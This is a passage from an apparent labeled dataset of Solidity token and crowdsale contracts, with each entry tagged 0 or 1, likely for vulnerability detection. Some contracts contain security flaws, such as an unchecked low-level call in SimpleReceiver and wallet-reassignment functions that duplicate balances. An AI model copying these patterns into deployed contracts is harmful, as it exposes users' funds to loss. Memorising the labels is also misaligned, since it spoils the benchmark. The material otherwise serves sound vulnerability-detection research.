event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
public
hasMintPermission
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract Crowdsale is Ownable{
using SafeMath for uint256;
address public wallet;
uint256 public weiRaised;
bool public isFinalized = false;
uint256 public openingTime;
uint256 public closingTime;
event Finalized();
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(address _wallet, uint256 _openingTime, uint256 _closingTime) public {
require(_wallet != address(0));
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
wallet = _wallet;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_forwardFunds();
}
function finalize() public onlyOwner {
require(!isFinalized);
require(hasClosed());
emit Finalized();
isFinalized = true;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal view
onlyWhileOpen
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal;
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256);
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
}
contract FieldCoin is MintableToken, BurnableToken{
using SafeMath for uint256;
string public name;
string public symbol;
uint8 public decimals;
address public bountyWallet;
address public teamWallet;
bool public transferEnabled;
uint256 public TOKEN_OFFERING_ALLOWANCE = 770e6 * 10 **18;
address public tokenOfferingAddr;
address public landCollectorAddr;
mapping(address => bool) public transferAgents;
mapping(address => bool) private blacklist;
modifier canTransfer(address sender) {
require(transferEnabled || transferAgents[sender], "transfer is not enabled or sender is not allowed");
_;
}
modifier onlyTokenOfferingAddrNotSet() {
require(tokenOfferingAddr == address(0x0), "token offering address is already set");
_;
}
modifier onlyWhenLandCollectporAddressIsSet() {
require(landCollectorAddr != address(0x0), "land collector address is not set");
_;
}
modifier validDestination(address to) {
require(to != address(0x0), "receiver can't be zero address");
require(to != address(this), "receiver can't be token address");
require(to != owner, "receiver can't be owner");
require(to != address(tokenOfferingAddr), "receiver can't be token offering address");
_;
}
constructor () public {
name = "Fieldcoin";
symbol = "FLC";
decimals = 18;
totalSupply_ = 1000e6 * 10 ** uint256(decimals);
owner = msg.sender;
balances[owner] = totalSupply_;
}
function setBountyWallet (address _bountyWallet) public onlyOwner returns (bool) {
require(_bountyWallet != address(0x0), "bounty address can't be zero");
if(bountyWallet == address(0x0)){
bountyWallet = _bountyWallet;
balances[bountyWallet] = 20e6 * 10 ** uint256(decimals);
balances[owner] = balances[owner].sub(20e6 * 10 ** uint256(decimals));
}else{
address oldBountyWallet = bountyWallet;
bountyWallet = _bountyWallet;
balances[bountyWallet] = balances[oldBountyWallet];
}
return true;
}
function setTeamWallet (address _teamWallet) public onlyOwner returns (bool) {
require(_teamWallet != address(0x0), "team address can't be zero");
if(teamWallet == address(0x0)){
teamWallet = _teamWallet;
balances[teamWallet] = 90e6 * 10 ** uint256(decimals);
balances[owner] = balances[owner].sub(90e6 * 10 ** uint256(decimals));
}else{
address oldTeamWallet = teamWallet;
teamWallet = _teamWallet;
balances[teamWallet] = balances[oldTeamWallet];
}
return true;
}
function transfer(address to, uint256 value) canTransfer(msg.sender) validDestination(to) public returns (bool) {
return super.transfer(to, value);
}
function transferFrom(address from, address to, uint256 value) canTransfer(msg.sender) validDestination(to) public returns (bool) {
return super.transferFrom(from, to, value);
}
function addBlacklistAddress(address addr) public onlyOwner {
require(!isBlacklisted(addr), "address is already blacklisted");
require(addr != address(0x0), "blacklisting address can't be zero");
blacklist[addr] = true;
}
function setTokenOffering(address offeringAddr, uint256 amountForSale) external onlyOwner onlyTokenOfferingAddrNotSet {
require (offeringAddr != address(0x0), "offering address can't be zero");
require(!transferEnabled, "transfer should be diabled");
uint256 amount = (amountForSale == 0) ? TOKEN_OFFERING_ALLOWANCE : amountForSale;
require(amount <= TOKEN_OFFERING_ALLOWANCE);
approve(offeringAddr, amount);
tokenOfferingAddr = offeringAddr;
setTransferAgent(tokenOfferingAddr, true);
}
function setLandCollector(address collectorAddr) public onlyOwner {
require (collectorAddr != address(0x0), "land collecting address can't be set to zero");
require(!transferEnabled, "transfer should be diabled");
landCollectorAddr = collectorAddr;
}
function enableTransfer() public onlyOwner {
transferEnabled = true;
approve(tokenOfferingAddr, 0);
setTransferAgent(tokenOfferingAddr, false);
}
function setTransferAgent(address _addr, bool _allowTransfer) public onlyOwner {
transferAgents[_addr] = _allowTransfer;
}
function _withdraw(address _investor, uint256 _tokens) external{
require (msg.sender == tokenOfferingAddr, "sender must be offering address");
require (isBlacklisted(_investor), "address is not whitelisted");
balances[owner] = balances[owner].add(_tokens);
balances[_investor] = balances[_investor].sub(_tokens);
balances[_investor] = 0;
}
function _buyLand(address _investor, uint256 _tokens) external onlyWhenLandCollectporAddressIsSet{
require (!transferEnabled, "transfer should be diabled");
require (msg.sender == tokenOfferingAddr, "sender must be offering address");
balances[landCollectorAddr] = balances[landCollectorAddr].add(_tokens);
balances[_investor] = balances[_investor].sub(_tokens);
}
function burn(uint256 _value) public {
require(transferEnabled || msg.sender == owner, "transfer is not enabled or sender is not owner");
super.burn(_value);
}
function isBlacklisted(address _addr) public view returns(bool){
return blacklist[_addr];
}
}
contract FieldCoinSale is Crowdsale, Pausable{
using SafeMath for uint256;
uint256 public totalSaleSupply = 600000000 *10 **18;
uint256 public tokenCost = 5;
uint256 public ETH_USD;
uint256 public minContribution = 10000;
uint256 public maxContribution = 100000000;
uint256 public milestoneCount;
bool public initialized = false;
uint256 public bonusTokens = 170e6 * 10 ** 18;
uint256 public tokensSold = 0;
FieldCoin private objFieldCoin;
struct Milestone {
uint256 bonus;
uint256 total;
}
Milestone[6] public milestones;
struct Investor {
uint256 weiReceived;
uint256 tokenSent;
uint256 bonusSent;
}
mapping(address => Investor) public investors;
event Withdrawn();
constructor (uint256 _openingTime, uint256 _closingTime, address _wallet, address _token, uint256 _ETH_USD, uint256 _minContribution, uint256 _maxContribution) public
Crowdsale(_wallet, _openingTime, _closingTime) {
require(_ETH_USD > 0, "ETH USD rate should be greater than 0");
minContribution = (_minContribution == 0) ? minContribution : _minContribution;
maxContribution = (_maxContribution == 0) ? maxContribution : _maxContribution;
ETH_USD = _ETH_USD;
objFieldCoin = FieldCoin(_token);
}
function setETH_USDRate(uint256 _ETH_USD) public onlyOwner{
require(_ETH_USD > 0, "ETH USD rate should be greater than 0");
ETH_USD = _ETH_USD;
}
function setNewWallet(address _newWallet) onlyOwner public {
wallet = _newWallet;
}
function changeMinContribution(uint256 _minContribution) public onlyOwner {
require(_minContribution > 0, "min contribution should be greater than 0");
minContribution = _minContribution;
}
function changeMaxContribution(uint256 _maxContribution) public onlyOwner {
require(_maxContribution > 0, "max contribution should be greater than 0");
maxContribution = _maxContribution;
}
function changeTokenCost(uint256 _tokenCost) public onlyOwner {
require(_tokenCost > 0, "token cost can not be zero");
tokenCost = _tokenCost;
}
function changeOpeningTIme(uint256 _openingTime) public onlyOwner {
require(_openingTime >= block.timestamp, "opening time is less than current time");
openingTime = _openingTime;
}
function changeClosingTime(uint256 _closingTime) public onlyOwner {
require(_closingTime >= openingTime, "closing time is less than opening time");
closingTime = _closingTime;
}
function initializeMilestones(uint256[] _bonus, uint256[] _total) public onlyOwner {
require(_bonus.length > 0 && _bonus.length == _total.length);
for(uint256 i = 0; i < _bonus.length; i++) {
milestones[i] = Milestone({ total: _total[i], bonus: _bonus[i] });
}
milestoneCount = _bonus.length;
initialized = true;
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount) internal {
require(tokensRemaining() >= _tokenAmount, "token need to be transferred is more than the available token");
uint256 _bonusTokens = _processBonus(_tokenAmount);
bonusTokens = bonusTokens.sub(_bonusTokens);
tokensSold = tokensSold.add(_tokenAmount);
uint256 totalNumberOfTokenTransferred = _tokenAmount.add(_bonusTokens);
Investor storage _investor = investors[_beneficiary];
_investor.tokenSent = _investor.tokenSent.add(totalNumberOfTokenTransferred);
_investor.weiReceived = _investor.weiReceived.add(msg.value);
_investor.bonusSent = _investor.bonusSent.add(_bonusTokens);
super._processPurchase(_beneficiary, totalNumberOfTokenTransferred);
}
function createTokenManually(address _beneficiary, uint256 weiAmount) external onlyOwner {
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount) internal {
if(!objFieldCoin.transferFrom(objFieldCoin.owner(), _beneficiary, _tokenAmount)){
revert("token delivery failed");
}
}
function withdraw() external{
Investor storage _investor = investors[msg.sender];
objFieldCoin._withdraw(msg.sender, _investor.tokenSent);
msg.sender.transfer(_investor.weiReceived);
_investor.weiReceived = 0;
_investor.tokenSent = 0;
_investor.bonusSent = 0;
emit Withdrawn();
}
function buyLand(uint256 _tokens) external{
Investor memory _investor = investors[msg.sender];
require (_tokens <= objFieldCoin.balanceOf(msg.sender).sub(_investor.bonusSent), "token to buy land is more than the available number of tokens");
objFieldCoin._buyLand(msg.sender, _tokens);
}
function fundContractForWithdraw()external payable{
}
function increaseBonusAllowance(uint256 _value) public onlyOwner {
bonusTokens = bonusTokens.add(_value);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount) whenNotPaused internal view{
require (!hasClosed(), "Sale has been ended");
require(initialized, "Bonus is not initialized");
require(_weiAmount >= getMinContributionInWei(), "amount is less than min contribution");
require(_weiAmount <= getMaxContributionInWei(), "amount is more than max contribution");
super._preValidatePurchase(_beneficiary, _weiAmount);
}
function _processBonus(uint256 _tokenAmount) internal view returns(uint256){
uint256 currentMilestoneIndex = getCurrentMilestoneIndex();
uint256 _bonusTokens = 0;
Milestone memory _currentMilestone = milestones[currentMilestoneIndex];
if(bonusTokens > 0 && _currentMilestone.bonus > 0) {
_bonusTokens = _tokenAmount.mul(_currentMilestone.bonus).div(100);
_bonusTokens = bonusTokens < _bonusTokens ? bonusTokens : _bonusTokens;
}
return _bonusTokens;
}
function tokensRemaining() public view returns(uint256) {
return totalSaleSupply.sub(tokensSold);
}
function getCurrentMilestoneIndex() public view returns (uint256) {
for(uint256 i = 0; i < milestoneCount; i++) {
if(tokensSold < milestones[i].total) {
return i;
}
}
}
function _getTokenAmount(uint256 _weiAmount) internal view returns (uint256) {
return _weiAmount.mul(ETH_USD).div(tokenCost);
}
function hasClosed() public view returns (bool) {
uint256 tokensLeft = tokensRemaining();
return tokensLeft <= 1e18 || super.hasClosed();
}
function getMinContributionInWei() public view returns(uint256){
return (minContribution.mul(1e18)).div(ETH_USD);
}
function getMaxContributionInWei() public view returns(uint256){
return (maxContribution.mul(1e18)).div(ETH_USD);
}
function usdRaised() public view returns (uint256) {
return weiRaised.mul(ETH_USD).div(1e18);
}
} | 0 | 1,407 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 18;
uint8 public constant TOKEN_DECIMALS_UINT8 = 18;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "CarnaLife Token";
string public constant TOKEN_SYMBOL = "CLC";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x69D8fD25c05d07D3Fc5280040ba0BDe4d5C4d399;
bool public constant CONTINUE_MINTING = true;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
function init() private {
require(!initialized);
initialized = true;
if (PAUSED) {
pause();
}
if (!CONTINUE_MINTING) {
finishMinting();
}
emit Initialized();
}
} | 0 | 1,815 |
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract SimpleReceiver is Ownable {
receive() external payable {}
function withdraw() external onlyOwner {
payable(owner()).call{value: address(this).balance}("");
}
} | 1 | 2,314 |
pragma solidity ^0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 3;
uint8 public constant TOKEN_DECIMALS_UINT8 = 3;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "Abri";
string public constant TOKEN_SYMBOL = "ABR";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x505c7f3B5fC1D6cD286425BA9460A0Bf0C605fD8;
bool public constant CONTINUE_MINTING = false;
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
event Initialized();
bool public initialized = false;
constructor() public {
init();
transferOwnership(TARGET_USER);
}
function name() public pure returns (string _name) {
